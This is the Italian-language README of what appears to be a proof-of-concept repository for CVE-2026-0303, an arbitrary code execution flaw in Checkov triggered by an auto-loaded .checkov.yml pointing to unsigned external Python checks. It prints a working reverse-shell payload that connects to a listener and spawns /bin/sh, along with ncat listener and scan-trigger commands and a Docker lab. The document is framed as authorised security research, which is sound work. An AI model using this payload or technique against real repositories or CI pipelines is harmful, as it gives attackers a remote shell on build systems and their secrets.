
Checkov PoC: esecuzione arbitraria di codice tramite configurazione caricata automaticamente e controlli Python esterni non firmati.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Severity: Low
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Vulnerabilità di esecuzione di codice arbitrario in Checkov.
Pubblicata da Palo Alto Networks il 9 settembre 2026.
Versioni interessate: Checkov dalla 3.2.0 alla 3.2.531
Versione corretta: Checkov 3.2.532
Esecuzione di codice arbitrario in Checkov tramite un file .checkov.yml caricato automaticamente
-> esecuzione di codice Python controllato dall'attaccante tramite un controllo esterno personalizzato non firmato.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov supporta controlli Python esterni. Questi controlli vengono intenzionalmente caricati come moduli Python, il che significa che le istruzioni Python di livello superiore vengono eseguite durante l'importazione del modulo.
Quando Checkov analizza una directory, cerca automaticamente in quella directory un file di configurazione
.checkov.yml o .checkov.yaml; un file di configurazione controllato dall'attaccante potrebbe impostare
external-checks-dir su una directory all'interno del repository analizzato.
Questo crea la seguente catena di esecuzione:
La vittima analizza un repository non attendibile
->
Checkov carica automaticamente .checkov.yml
->
La configurazione imposta external-checks-dir
->
Checkov importa un modulo Python controllato dall'attaccante
->
Il codice Python di livello superiore viene eseguito con i privilegi di Checkov
L'attaccante non ha bisogno di sfruttare il parser Terraform o di fornire una policy Checkov valida. L'esecuzione del codice avviene quando Checkov importa il file Python.
Questo è particolarmente rilevante per le pipeline CI che eseguono automaticamente Checkov su pull request o altri contenuti di repository non attendibili.
Il payload del lab si connette dal container Checkov a un listener sull'host:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modificare il payload in exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Avviare un listener sull'host:
ncat -lvkp 4444
Attivare il comportamento vulnerabile analizzando la directory controllata dall'attaccante:
checkov -d /workspace --framework terraform --skip-download
Checkov legge automaticamente /workspace/.checkov.yml, individua la directory dei controlli esterni
e importa poc_check.py. Il listener dovrebbe ricevere la shell quando viene eseguita la chiamata
exploit() a livello di modulo.
Ho fornito un semplice lab docker che puoi configurare tramite
docker compose up -d
e connetterti alla sua shell tramite
docker exec -it scan-server /bin/sh
Questo repository contiene una proof of concept indipendente per CVE-2026-0303. La vulnerabilità è stata ricreata e testata in un ambiente di laboratorio isolato.
Questo progetto è destinato esclusivamente a ricerca sulla sicurezza autorizzata, formazione e test in ambienti isolati. Non utilizzarlo contro sistemi, reti, repository o dati senza esplicita autorizzazione da parte del proprietario.
L'autore fornisce questo progetto così com'è, senza garanzie di alcun tipo, e non si assume alcuna responsabilità per danni, perdita di dati, interruzione del servizio, accesso non autorizzato o uso improprio di questo software o dei suoi derivati.